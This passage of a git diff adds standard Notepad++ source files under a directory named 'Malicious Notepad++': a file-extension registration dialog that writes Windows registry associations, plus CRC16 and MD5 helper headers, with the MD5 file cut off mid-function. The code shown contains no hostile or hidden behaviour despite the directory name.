following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#include "Common.h" +#include "regExtDlg.h" +#include "resource.h" + + + +const TCHAR* nppName = TEXT("Notepad++_file"); +const TCHAR* nppBackup = TEXT("Notepad++_backup"); +const TCHAR* nppDoc = TEXT("Notepad++ Document"); + +const int nbSupportedLang = 10; +const int nbExtMax = 27; +const int extNameMax = 18; + + +const TCHAR defExtArray[nbSupportedLang][nbExtMax][extNameMax] = +{ + {TEXT("Notepad"), + TEXT(".txt"), TEXT(".log") + }, + {TEXT("ms ini/inf"), + TEXT(".ini"), TEXT(".inf") + }, + {TEXT("c, c++, objc"), + TEXT(".h"), TEXT(".hh"), TEXT(".hpp"), TEXT(".hxx"), TEXT(".c"), TEXT(".cpp"), TEXT(".cxx"), TEXT(".cc"), + TEXT(".m"), TEXT(".mm"), + TEXT(".vcxproj"), TEXT(".vcproj"), TEXT(".props"), TEXT(".vsprops"), TEXT(".manifest") + }, + {TEXT("java, c#, pascal"), + TEXT(".java"), TEXT(".cs"), TEXT(".pas"), TEXT(".pp"), TEXT(".inc") + }, + {TEXT("web script"), + TEXT(".html"), TEXT(".htm"), TEXT(".shtml"), TEXT(".shtm"), TEXT(".hta"), + TEXT(".asp"), TEXT(".aspx"), + TEXT(".css"), TEXT(".js"), TEXT(".json"), TEXT(".jsm"), TEXT(".jsp"), + TEXT(".php"), TEXT(".php3"), TEXT(".php4"), TEXT(".php5"), TEXT(".phps"), TEXT(".phpt"), TEXT(".phtml"), + TEXT(".xml"), TEXT(".xhtml"), TEXT(".xht"), TEXT(".xul"), TEXT(".kml"), TEXT(".xaml"), TEXT(".xsml") + }, + {TEXT("public script"), + TEXT(".sh"), TEXT(".bsh"), TEXT(".bash"), TEXT(".bat"), TEXT(".cmd"), TEXT(".nsi"), + TEXT(".nsh"), TEXT(".lua"), TEXT(".pl"), TEXT(".pm"), TEXT(".py") + }, + {TEXT("property script"), + TEXT(".rc"), TEXT(".as"), TEXT(".mx"), TEXT(".vb"), TEXT(".vbs") + }, + {TEXT("fortran, TeX, SQL"), + TEXT(".f"), TEXT(".for"), TEXT(".f90"), TEXT(".f95"), TEXT(".f2k"), TEXT(".tex"), TEXT(".sql") + }, + {TEXT("misc"), + TEXT(".nfo"), TEXT(".mak") + }, + {TEXT("customize")} +}; + + + + + +void RegExtDlg::doDialog(bool isRTL) +{ + if (isRTL) + { + DLGTEMPLATE *pMyDlgTemplate = nullptr; + HGLOBAL hMyDlgTemplate = makeRTLResource(IDD_REGEXT_BOX, &pMyDlgTemplate); + ::DialogBoxIndirectParam(_hInst, pMyDlgTemplate, _hParent, dlgProc, reinterpret_cast(this)); + ::GlobalFree(hMyDlgTemplate); + } + else + ::DialogBoxParam(_hInst, MAKEINTRESOURCE(IDD_REGEXT_BOX), _hParent, dlgProc, reinterpret_cast(this)); +} + + +INT_PTR CALLBACK RegExtDlg::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_INITDIALOG : + { + getRegisteredExts(); + getDefSupportedExts(); + //goToCenter(); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_ADDFROMLANGEXT_BUTTON), false); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_REMOVEEXT_BUTTON), false); + ::SendDlgItemMessage(_hSelf, IDC_CUSTOMEXT_EDIT, EM_SETLIMITTEXT, extNameMax-1, 0); + return TRUE; + } + + case WM_DRAWITEM : + { + HICON hIcon = ::LoadIcon(_hInst, MAKEINTRESOURCE(IDI_DELETE_ICON)); + DRAWITEMSTRUCT *pdis = (DRAWITEMSTRUCT *)lParam; + ::DrawIcon(pdis->hDC, 0, 0, hIcon); + return TRUE; + } + + case WM_COMMAND : + { + // Handle File association list extension + if (LOWORD(wParam) == IDC_REGEXT_LANGEXT_LIST || LOWORD(wParam) == IDC_REGEXT_REGISTEREDEXTS_LIST) + { + // On double click an item in the list then toggle the item between both lists + // by simulating "<-" or "->" button clicked + if (HIWORD(wParam) == LBN_DBLCLK) + { + // Check whether click happened on a item not in empty area + if (-1 != ::SendDlgItemMessage(_hSelf, LOWORD(wParam), LB_GETCURSEL, 0, 0)) + { + HWND(lParam) == ::GetDlgItem(_hSelf, IDC_REGEXT_LANGEXT_LIST) ? + ::SendMessage(_hSelf, WM_COMMAND, IDC_ADDFROMLANGEXT_BUTTON, 0) : + ::SendMessage(_hSelf, WM_COMMAND, IDC_REMOVEEXT_BUTTON, 0); + } + return TRUE; + } + } + + switch (wParam) + { + case IDC_ADDFROMLANGEXT_BUTTON : + { + writeNppPath(); + + TCHAR ext2Add[extNameMax] = TEXT(""); + if (!_isCustomize) + { + auto index2Add = ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANGEXT_LIST, LB_GETCURSEL, 0, 0); + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANGEXT_LIST, LB_GETTEXT, index2Add, reinterpret_cast(ext2Add)); + addExt(ext2Add); + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANGEXT_LIST, LB_DELETESTRING, index2Add, 0); + } + else + { + ::SendDlgItemMessage(_hSelf, IDC_CUSTOMEXT_EDIT, WM_GETTEXT, extNameMax, reinterpret_cast(ext2Add)); + auto i = ::SendDlgItemMessage(_hSelf, IDC_REGEXT_REGISTEREDEXTS_LIST, LB_FINDSTRINGEXACT, 0, reinterpret_cast(ext2Add)); + if (i != LB_ERR) + return TRUE; + addExt(ext2Add); + ::SendDlgItemMessage(_hSelf, IDC_CUSTOMEXT_EDIT, WM_SETTEXT, 0, reinterpret_cast(TEXT(""))); + } + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_REGISTEREDEXTS_LIST, LB_ADDSTRING, 0, reinterpret_cast(ext2Add)); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_ADDFROMLANGEXT_BUTTON), false); + return TRUE; + } + + case IDC_REMOVEEXT_BUTTON : + { + TCHAR ext2Sup[extNameMax] = TEXT(""); + auto index2Sup = ::SendDlgItemMessage(_hSelf, IDC_REGEXT_REGISTEREDEXTS_LIST, LB_GETCURSEL, 0, 0); + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_REGISTEREDEXTS_LIST, LB_GETTEXT, index2Sup, reinterpret_cast(ext2Sup)); + if (deleteExts(ext2Sup)) + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_REGISTEREDEXTS_LIST, LB_DELETESTRING, index2Sup, 0); + auto langIndex = ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANG_LIST, LB_GETCURSEL, 0, 0); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_REMOVEEXT_BUTTON), false); + + if (langIndex != LB_ERR) + { + for (int i = 1 ; i < nbExtMax ; ++i) + { + if (!generic_stricmp(ext2Sup, defExtArray[langIndex][i])) + { + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANGEXT_LIST, LB_ADDSTRING, 0, reinterpret_cast(ext2Sup)); + return TRUE; + } + } + } + return TRUE; + } + + case IDCANCEL: + { + ::EndDialog(_hSelf, 0); + return TRUE; + } + } + + if (HIWORD(wParam) == EN_CHANGE) + { + TCHAR text[extNameMax] = TEXT(""); + ::SendDlgItemMessage(_hSelf, IDC_CUSTOMEXT_EDIT, WM_GETTEXT, extNameMax, reinterpret_cast(text)); + if ((lstrlen(text) == 1) && (text[0] != '.')) + { + text[1] = text[0]; + text[0] = '.'; + text[2] = '\0'; + ::SendDlgItemMessage(_hSelf, IDC_CUSTOMEXT_EDIT, WM_SETTEXT, 0, reinterpret_cast(text)); + ::SendDlgItemMessage(_hSelf, IDC_CUSTOMEXT_EDIT, EM_SETSEL, 2, 2); + } + ::EnableWindow(::GetDlgItem(_hSelf, IDC_ADDFROMLANGEXT_BUTTON), (lstrlen(text) > 1)); + return TRUE; + } + + if (HIWORD(wParam) == LBN_SELCHANGE) + { + auto i = ::SendDlgItemMessage(_hSelf, LOWORD(wParam), LB_GETCURSEL, 0, 0); + if (LOWORD(wParam) == IDC_REGEXT_LANG_LIST) + { + if (i != LB_ERR) + { + TCHAR itemName[32]; + ::SendDlgItemMessage(_hSelf, LOWORD(wParam), LB_GETTEXT, i, reinterpret_cast(itemName)); + + if (!generic_stricmp(defExtArray[nbSupportedLang-1][0], itemName)) + { + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REGEXT_LANGEXT_LIST), SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CUSTOMEXT_EDIT), SW_SHOW); + _isCustomize = true; + } + else + { + if (_isCustomize) + { + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REGEXT_LANGEXT_LIST), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_CUSTOMEXT_EDIT), SW_HIDE); + + _isCustomize = false; + } + LRESULT count = ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANGEXT_LIST, LB_GETCOUNT, 0, 0); + for (count -= 1 ; count >= 0 ; count--) + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANGEXT_LIST, LB_DELETESTRING, count, 0); + + for (int j = 1 ; j < nbExtMax ; ++j) + { + if (lstrcmp(TEXT(""), defExtArray[i][j])) + { + auto index = ::SendDlgItemMessage(_hSelf, IDC_REGEXT_REGISTEREDEXTS_LIST, LB_FINDSTRINGEXACT, 0, reinterpret_cast(defExtArray[i][j])); + if (index == -1) + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANGEXT_LIST, LB_ADDSTRING, 0, reinterpret_cast(defExtArray[i][j])); + } + } + } + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_ADDFROMLANGEXT_BUTTON), false); + } + } + else if (LOWORD(wParam) == IDC_REGEXT_LANGEXT_LIST) + { + if (i != LB_ERR) + ::EnableWindow(::GetDlgItem(_hSelf, IDC_ADDFROMLANGEXT_BUTTON), true); + } + else if (LOWORD(wParam) == IDC_REGEXT_REGISTEREDEXTS_LIST) + { + if (i != LB_ERR) + ::EnableWindow(::GetDlgItem(_hSelf, IDC_REMOVEEXT_BUTTON), true); + } + } + + // break; // no break here + } + + default : + return FALSE; + } + //return FALSE; +} + + +void RegExtDlg::getRegisteredExts() +{ + int nbRegisteredKey = getNbSubKey(HKEY_CLASSES_ROOT); + for (int i = 0 ; i < nbRegisteredKey ; ++i) + { + TCHAR extName[extNameLen]; + //FILETIME fileTime; + int extNameActualLen = extNameLen; + int res = ::RegEnumKeyEx(HKEY_CLASSES_ROOT, i, extName, reinterpret_cast(&extNameActualLen), nullptr, nullptr, nullptr, nullptr); + if ((res == ERROR_SUCCESS) && (extName[0] == '.')) + { + //TCHAR valName[extNameLen]; + TCHAR valData[extNameLen]; + int valDataLen = extNameLen * sizeof(TCHAR); + int valType; + HKEY hKey2Check; + extNameActualLen = extNameLen; + ::RegOpenKeyEx(HKEY_CLASSES_ROOT, extName, 0, KEY_ALL_ACCESS, &hKey2Check); + ::RegQueryValueEx(hKey2Check, TEXT(""), nullptr, reinterpret_cast(&valType), reinterpret_cast(valData), reinterpret_cast(&valDataLen)); + + if ((valType == REG_SZ) && (!lstrcmp(valData, nppName))) + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_REGISTEREDEXTS_LIST, LB_ADDSTRING, 0, reinterpret_cast(extName)); + ::RegCloseKey(hKey2Check); + } + } +} + + +void RegExtDlg::getDefSupportedExts() +{ + for (int i = 0 ; i < nbSupportedLang ; ++i) + ::SendDlgItemMessage(_hSelf, IDC_REGEXT_LANG_LIST, LB_ADDSTRING, 0, reinterpret_cast(defExtArray[i][0])); +} + + +void RegExtDlg::addExt(TCHAR *ext) +{ + HKEY hKey; + DWORD dwDisp; + long nRet; + + nRet = ::RegCreateKeyEx(HKEY_CLASSES_ROOT, ext, 0, nullptr, 0, KEY_ALL_ACCESS, nullptr, &hKey, &dwDisp); + + if (nRet == ERROR_SUCCESS) + { + TCHAR valData[MAX_PATH]; + int valDataLen = MAX_PATH * sizeof(TCHAR); + + if (dwDisp == REG_OPENED_EXISTING_KEY) + { + int res = ::RegQueryValueEx(hKey, TEXT(""), nullptr, nullptr, reinterpret_cast(valData), reinterpret_cast(&valDataLen)); + if (res == ERROR_SUCCESS) + ::RegSetValueEx(hKey, nppBackup, 0, REG_SZ, reinterpret_cast(valData), valDataLen); + } + ::RegSetValueEx(hKey, nullptr, 0, REG_SZ, reinterpret_cast(nppName), (lstrlen(nppName) + 1) * sizeof(TCHAR)); + + ::RegCloseKey(hKey); + } +} + + +bool RegExtDlg::deleteExts(const TCHAR *ext2Delete) +{ + HKEY hKey; + ::RegOpenKeyEx(HKEY_CLASSES_ROOT, ext2Delete, 0, KEY_ALL_ACCESS, &hKey); + + int nbValue = getNbSubValue(hKey); + int nbSubkey = getNbSubKey(hKey); + + if ((nbValue <= 1) && (!nbSubkey)) + { + TCHAR subKey[32] = TEXT("\\"); + lstrcat(subKey, ext2Delete); + ::RegDeleteKey(HKEY_CLASSES_ROOT, subKey); + } + else + { + TCHAR valData[extNameLen]; + int valDataLen = extNameLen*sizeof(TCHAR); + int valType; + int res = ::RegQueryValueEx(hKey, nppBackup, nullptr, (LPDWORD)&valType, (LPBYTE)valData, (LPDWORD)&valDataLen); + + if (res == ERROR_SUCCESS) + { + ::RegSetValueEx(hKey, nullptr, 0, valType, (LPBYTE)valData, valDataLen); + ::RegDeleteValue(hKey, nppBackup); + } + else + ::RegDeleteValue(hKey, nullptr); + } + + return true; +} + + +void RegExtDlg::writeNppPath() +{ + HKEY hKey, hRootKey; + DWORD dwDisp; + long nRet; + generic_string regStr(nppName); + regStr += TEXT("\\shell\\open\\command"); + + nRet = ::RegCreateKeyEx(HKEY_CLASSES_ROOT, regStr.c_str(), 0, nullptr, 0, KEY_ALL_ACCESS, nullptr, &hKey, &dwDisp); + + + if (nRet == ERROR_SUCCESS) + { + //if (dwDisp == REG_CREATED_NEW_KEY) + { + // Write the value for new document + ::RegOpenKeyEx(HKEY_CLASSES_ROOT, nppName, 0, KEY_ALL_ACCESS, &hRootKey); + ::RegSetValueEx(hRootKey, nullptr, 0, REG_SZ, (LPBYTE)nppDoc, (lstrlen(nppDoc)+1)*sizeof(TCHAR)); + RegCloseKey(hRootKey); + + TCHAR nppPath[MAX_PATH]; + ::GetModuleFileName(_hInst, nppPath, MAX_PATH); + + TCHAR nppPathParam[MAX_PATH] = TEXT("\""); + lstrcat(lstrcat(nppPathParam, nppPath), TEXT("\" \"%1\"")); + + ::RegSetValueEx(hKey, nullptr, 0, REG_SZ, (LPBYTE)nppPathParam, (lstrlen(nppPathParam)+1)*sizeof(TCHAR)); + } + RegCloseKey(hKey); + } + + //Set default icon value + regStr = nppName; + regStr += TEXT("\\DefaultIcon"); + nRet = ::RegCreateKeyEx(HKEY_CLASSES_ROOT, regStr.c_str(), 0, nullptr, 0, KEY_ALL_ACCESS, nullptr, &hKey, &dwDisp); + + if (nRet == ERROR_SUCCESS) + { + //if (dwDisp == REG_CREATED_NEW_KEY) + { + TCHAR nppPath[MAX_PATH]; + ::GetModuleFileName(_hInst, nppPath, MAX_PATH); + + TCHAR nppPathParam[MAX_PATH] = TEXT("\""); + lstrcat(lstrcat(nppPathParam, nppPath), TEXT("\",0")); + + ::RegSetValueEx(hKey, nullptr, 0, REG_SZ, (LPBYTE)nppPathParam, (lstrlen(nppPathParam)+1)*sizeof(TCHAR)); + } + RegCloseKey(hKey); + } +} + + diff --git a/Malicious Notepad++/src/MISC/RegExt/regExtDlg.h b/Malicious Notepad++/src/MISC/RegExt/regExtDlg.h new file mode 100644 index 0000000..244e7b6 --- /dev/null +++ b/Malicious Notepad++/src/MISC/RegExt/regExtDlg.h @@ -0,0 +1,69 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef REG_EXT_DLG_H +#define REG_EXT_DLG_H + +#include "regExtDlgRc.h" +#include "StaticDialog.h" + +const int extNameLen = 32; + +class RegExtDlg : public StaticDialog +{ +public : + RegExtDlg() : _isCustomize(false){}; + ~RegExtDlg(){}; + void doDialog(bool isRTL = false); + + +private : + bool _isCustomize; + + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + + void getRegisteredExts(); + void getDefSupportedExts(); + void addExt(TCHAR *ext); + bool deleteExts(const TCHAR *ext2Delete); + void writeNppPath(); + + int getNbSubKey(HKEY hKey) const { + int nbSubKey; + long result = ::RegQueryInfoKey(hKey, NULL, NULL, NULL, (LPDWORD)&nbSubKey, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + return (result == ERROR_SUCCESS)?nbSubKey:0; + } + + int getNbSubValue(HKEY hKey) const { + int nbSubValue; + long result = ::RegQueryInfoKey(hKey, NULL, NULL, NULL, NULL, NULL, NULL, (LPDWORD)&nbSubValue, NULL, NULL, NULL, NULL); + return (result == ERROR_SUCCESS)?nbSubValue:0; + } +}; + +#endif //REG_EXT_DLG_H diff --git a/Malicious Notepad++/src/MISC/RegExt/regExtDlg.rc b/Malicious Notepad++/src/MISC/RegExt/regExtDlg.rc new file mode 100644 index 0000000..59d13b7 --- /dev/null +++ b/Malicious Notepad++/src/MISC/RegExt/regExtDlg.rc @@ -0,0 +1,48 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include +#include "regExtDlgRc.h" + + +IDD_REGEXT_BOX DIALOGEX 0, 0, 370, 180 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_CHILD | DS_CONTROL +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x1 +BEGIN + LTEXT "Supported extensions:",IDC_SUPPORTEDEXTS_STATIC,70,18,80,8 + LISTBOX IDC_REGEXT_LANG_LIST,70,30,100,125,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_HSCROLL | WS_TABSTOP + LISTBOX IDC_REGEXT_LANGEXT_LIST,175,30,80,125,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_HSCROLL | WS_TABSTOP + EDITTEXT IDC_CUSTOMEXT_EDIT,175,75,80,14,ES_AUTOHSCROLL | NOT WS_VISIBLE + PUSHBUTTON "->",IDC_ADDFROMLANGEXT_BUTTON,265,76,25,14 + PUSHBUTTON "<-",IDC_REMOVEEXT_BUTTON,265,96,25,14 + LTEXT "Registered extensions:",IDC_REGISTEREDEXTS_STATIC,300,18,80,8 + LISTBOX IDC_REGEXT_REGISTEREDEXTS_LIST,300,30,80,125,LBS_NOINTEGRALHEIGHT | WS_VSCROLL | WS_HSCROLL | WS_TABSTOP + //CONTROL "",IDC_POUPELLE_STATIC,"Static",SS_OWNERDRAW,301,82,20,20 +END + + diff --git a/Malicious Notepad++/src/MISC/RegExt/regExtDlgRc.h b/Malicious Notepad++/src/MISC/RegExt/regExtDlgRc.h new file mode 100644 index 0000000..21ebf67 --- /dev/null +++ b/Malicious Notepad++/src/MISC/RegExt/regExtDlgRc.h @@ -0,0 +1,45 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef REGEXTDLGRC_H +#define REGEXTDLGRC_H + +#define IDD_REGEXT_BOX 4000 + + #define IDC_REGEXT_LANG_LIST (IDD_REGEXT_BOX + 1) + #define IDC_REGEXT_LANGEXT_LIST (IDD_REGEXT_BOX + 2) + #define IDC_REGEXT_REGISTEREDEXTS_LIST (IDD_REGEXT_BOX + 3) + #define IDC_ADDFROMLANGEXT_BUTTON (IDD_REGEXT_BOX + 4) + #define IDI_POUPELLE_ICON (IDD_REGEXT_BOX + 5) + #define IDC_CUSTOMEXT_EDIT (IDD_REGEXT_BOX + 6) + #define IDC_REMOVEEXT_BUTTON (IDD_REGEXT_BOX + 7) + #define IDC_POUPELLE_STATIC (IDD_REGEXT_BOX + 8) + #define IDC_SUPPORTEDEXTS_STATIC (IDD_REGEXT_BOX + 9) + #define IDC_REGISTEREDEXTS_STATIC (IDD_REGEXT_BOX + 10) + +#endif //REGEXTDLGRC_H diff --git a/Malicious Notepad++/src/MISC/crc16/Crc16.h b/Malicious Notepad++/src/MISC/crc16/Crc16.h new file mode 100644 index 0000000..e820220 --- /dev/null +++ b/Malicious Notepad++/src/MISC/crc16/Crc16.h @@ -0,0 +1,122 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef _CRC16_H_ +#define _CRC16_H_ +#include + +class CRC16_ISO_3309 +{ +public : + CRC16_ISO_3309(unsigned short polynom = 0x1021, unsigned short initVal = 0xFFFF) + :_polynom(polynom), _initVal(initVal) {}; + ~CRC16_ISO_3309(){}; + + void set(unsigned short polynom, unsigned short initVal) { + _polynom = polynom; + _initVal = initVal; + }; + + unsigned short calculate(unsigned char *data, unsigned short count) + { + unsigned short fcs = _initVal; + unsigned short d, i, k; + for (i=0; i(data[i]); + + // calculate CRC : by default polynom = 0x1021, init val = 0xFFFF) + unsigned short wordResult = CRC16_ISO_3309::calculate(pBuffer, count); + + // Reverse the WORD bits + wordResult = reverseByte(wordResult); + + // XOR FFFF + wordResult ^= 0xFFFF; + + // Invert MSB/LSB + wordResult = wordResult << 8 | wordResult >> 8 ; + + delete [] pBuffer; + + return wordResult; + }; + +private: + template + IntType reverseByte(IntType val2Reverses) + { + IntType reversedValue = 0; + long mask = 1; + int nBits = sizeof(val2Reverses) * 8; + for (int i = 0 ; i < nBits ; i++) + if ((mask << i) & val2Reverses) + reversedValue += (mask << (nBits - 1 - i)); + + return reversedValue; + }; +}; + +#endif \ No newline at end of file diff --git a/Malicious Notepad++/src/MISC/md5/md5.h b/Malicious Notepad++/src/MISC/md5/md5.h new file mode 100644 index 0000000..54b4b23 --- /dev/null +++ b/Malicious Notepad++/src/MISC/md5/md5.h @@ -0,0 +1,392 @@ +#ifndef MD5_H +#define MD5_H + +// Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All +// rights reserved. + +// License to copy and use this software is granted provided that it +// is identified as the "RSA Data Security, Inc. MD5 Message-Digest +// Algorithm" in all material mentioning or referencing this software +// or this function. +// +// License is also granted to make and use derivative works provided +// that such works are identified as "derived from the RSA Data +// Security, Inc. MD5 Message-Digest Algorithm" in all material +// mentioning or referencing the derived work. +// +// RSA Data Security, Inc. makes no representations concerning either +// the merchantability of this software or the suitability of this +// software for any particular purpose. It is provided "as is" +// without express or implied warranty of any kind. +// +// These notices must be retained in any copies of any part of this +// documentation and/or software. + + + +// The original md5 implementation avoids external libraries. +// This version has dependency on stdio.h for file input and +// string.h for memcpy. + +// +// http://www.ietf.org/ietf-ftp/IPR/RSA-MD-all + + +#include +#include + +#pragma region MD5 defines +// Constants for MD5Transform routine. +#define S11 7 +#define S12 12 +#define S13 17 +#define S14 22 +#define S21 5 +#define S22 9 +#define S23 14 +#define S24 20 +#define S31 4 +#define S32 11 +#define S33 16 +#define S34 23 +#define S41 6 +#define S42 10 +#define S43 15 +#define S44 21 + + + + + + +static unsigned char PADDING[64] = { + 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 +}; + +// F, G, H and I are basic MD5 functions. +#define F(x, y, z) (((x) & (y)) | ((~x) & (z))) +#define G(x, y, z) (((x) & (z)) | ((y) & (~z))) +#define H(x, y, z) ((x) ^ (y) ^ (z)) +#define I(x, y, z) ((y) ^ ((x) | (~z))) + +// ROTATE_LEFT rotates x left n bits. +#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n)))) + +// FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4. +// Rotation is separate from addition to prevent recomputation. +#define FF(a, b, c, d, x, s, ac) { \ + (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \ + (a) = ROTATE_LEFT ((a), (s)); \ + (a) += (b); \ + } +#define GG(a, b, c, d, x, s, ac) { \ + (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \ + (a) = ROTATE_LEFT ((a), (s)); \ + (a) += (b); \ + } +#define HH(a, b, c, d, x, s, ac) { \ + (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \ + (a) = ROTATE_LEFT ((a), (s)); \ + (a) += (b); \ + } +#define II(a, b, c, d, x, s, ac) { \ + (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \ + (a) = ROTATE_LEFT ((a), (s)); \ + (a) += (b); \ + } +#pragma endregion + +typedef unsigned char BYTE ; + +// POINTER defines a generic pointer type +typedef unsigned char *POINTER; + +// UINT2 defines a two byte word +typedef unsigned short int UINT2; + +// UINT4 defines a four byte word +typedef unsigned long int UINT4; + + +// convenient object that wraps +// the C-functions for use in C++ only +class MD5 +{ +private: + struct __context_t { + UINT4 state[4]; /* state (ABCD) */ + UINT4 count[2]; /* number of bits, modulo 2^64 (lsb first) */ + unsigned char buffer[64]; /* input buffer */ + } context ; + + #pragma region static helper functions + // The core of the MD5 algorithm is here. + // MD5 basic transformation. Transforms state based on block. + static void MD5Transform( UINT4 state[4], unsigned char block[64] ) + { + UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16]; + + Decode (x, block, 64); + + /* Round 1 */ + FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */ + FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */ + FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */ + FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */ + FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */ + FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */ + FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */ + FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */ + FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */ + FF (d, a, b, c, x[ 9], 